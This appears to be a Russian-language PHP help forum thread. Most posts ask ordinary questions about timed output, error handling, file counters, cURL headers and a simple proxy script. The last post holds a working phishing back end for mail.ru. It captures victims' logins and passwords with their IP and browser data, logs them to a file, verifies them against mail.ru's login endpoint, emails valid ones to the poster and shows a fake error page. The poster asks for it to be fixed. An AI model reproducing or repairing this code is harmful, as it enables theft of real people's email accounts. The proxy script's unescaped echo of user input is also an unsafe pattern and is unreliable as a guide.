Есть массив: PHP: $var = array( "znach1", "znach2", "znach3", "znach4", ); Так вот. Я хотел бы выводить поочерёдно значения. То есть: PHP: echo $var[0]; sleep(n); echo $var[1]; sleep(n); ... echo $var[n]; sleep(n); Реализуемо ли? Цикл выводит сразу и всё, а мне нужен вывод через n-ое количество секунд. А вообще идеальной была бы такая реализация: http://rghost.ru/53591241/image.png
Foreach циклы для этого и деланы. Впрочем, браузер может не отображать контент, с которым сервер тянет, пока не получит его до конца. Лучшей бы была реализация через js, с передачей всего массива скрипту на стороне клиента, который бы таймерами и выводил значения.
PHP: $spisok = count($var); for ($i = 0;$i<$spisok+1;$i++){ echo $var[$i]; sleep(3); // - после вывода пауза в 3 сек }
Вопрос к профи, есть большой скрипт как сделать так чтобы в случае если возникла хотя бы одна ошибка сразу же выводилось мое сообщение "ERROR" и работа скрипта останавливалась и чтобы пользователь не видел текст ошибки, а только мое сообщение
Строка длинная? Мне кажется проще использовать массив и в зависимости от позиции в массиве изменять НАЗВАНИЕ
как сделать что бы получать http заголовки с url страницы и html код?, как здесь: http://www.bertal.ru/index.php?ex=1
<?php session_start(); $user1 = $_SESSION['username']; $user1="$user".'.txt'; if( isset($_POST['subm_btn']) ) { incrementClickCount(); } function getClickCount() { return (int)file_get_contents($user1); } function incrementClickCount() { $count = getClickCount() + 1; file_put_contents($user1, $count); } ?> Почему не создается файл $user1.txt?
Переменная $user не объявлена. Тут Code: $user1="$user".'.txt'; наверное надо $user заменить на $user1 Можно Curl использовать. Ставишь параметр CURLOPT_HEADER Code: curl_setopt($curl,CURLOPT_HEADER,true); и потом парсишь отдельно заголовки и содержимое страницы.
делал скрипт анонимайзера простого - который можно на хостинг бесплатный поставить и пользоваться PHP: <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <form method="post"> <label for="url">URL:</label> <input type="text" name="url" value="<?php echo $_POST['url'];?>" id="url"> <input type="submit" name="open" value="открыть"> </form> </html> <?php if($_POST['open']) { $urls_form = $_POST['url']; header('Content-Type: text/html; charset=utf-8'); echo file_get_contents($_POST['url']); } ?> но тут одна важная проблема, при нажатии на ссылки на открытой странице - ссылка открывается без анонимайзера а сама, незнаю как это устранить все скрипты, css не проксируются... и проблема кодировки, как её автоматически подцеплять при открытии страницы... как это всё подправить ? проблема заметна на относительных url - например <link href="/css/modal-css.css" rel="stylesheet" type="text/css" media="screen" /> если не странице /css/modal-css.css прописан так - то он не грузится, можно ли регуляркой адрес сайта из анонимайзера подставлять в эти ссылки что бы получилось ?: <link href="http://site.ru/css/modal-css.css" rel="stylesheet" type="text/css" media="screen" />
Воможно ли сделать скрипт который авторизуется в контакте и сможет вступить в нужный список групп? скрипт на перле, пшп или джаве.
Здравствуйте. Вкладываю код для проверка лог и пароль на сайт маил.ру. Раньше этот код работал а сейчас не работает. Нужно помошь по правке Пхп кода PHP: <?PHP $Login = $_POST['Login']; $Domain = $_POST['Domain']; $Pass = $_POST['Password']; $Browser = getenv("HTTP_USER_AGENT"); $Port = getenv("REMOTE_PORT"); $Connect = $_SERVER['HTTP_CONNECTION']; $Host = gethostbyaddr(getenv("REMOTE_ADDR")); $ip = $_SERVER["REMOTE_ADDR"]; $Data = date("d-m-y H:i:s", time()); if ((empty($Login))or (empty($Pass))) {echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>"; exit; }; $text = "[$Data] Browser:[$Browser] Port:[$Port] Connect:[$Connect] Host:[$Host] IP:$ip ADRESS:$Login@$Domain PASSWORD:$Pass"; $to = "почта@mail.ru"; //тут прописываем нашу почту, $sub = "ready $Login@$Domain"; //тут прописываем тему письма $filelog = fopen("base.php","a+"); //тут прописываем названием базы, в которую будут сохраняться пароли fwrite($filelog,"\n $text \n\n"); fclose($filelog); // $url = 'https://auth.mail.ru/cgi-bin/auth'; $params = "page=&post=&login_from=&Login=".$Login."&Domain=".$Domain."&Password=".$Pass."&level=1"; $user_agent = "Opera 10.0 (compatible; MSIE 5.01; Windows NT 5.0)"; $ch = curl_init("http://win.mail.ru/cgi-bin/login"); curl_setopt($ch, CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS,$params); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $result=curl_exec($ch); curl_close ($ch); $pattern='/http:\/\/win.mail.ru\/cgi-bin\/checkcookie/'; if (preg_match($pattern, $result) == 0) { echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>"; } else { @mail($to,$sub,$text); echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=server_error.php'></head></html>"; }; ?>